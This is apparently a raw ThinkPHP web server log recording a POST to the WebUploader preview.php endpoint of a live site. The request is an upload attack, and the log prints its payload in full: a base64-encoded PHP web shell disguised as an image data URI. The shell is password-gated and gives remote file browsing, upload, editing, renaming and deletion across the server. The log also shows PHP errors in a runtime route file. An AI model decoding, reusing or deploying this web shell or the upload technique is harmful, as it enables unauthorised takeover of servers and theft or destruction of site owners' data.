nRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:47+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/libs/webuploader/0.1.5/server/preview.php [运行时间:0.002625s] [吞吐率:380.95req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KIC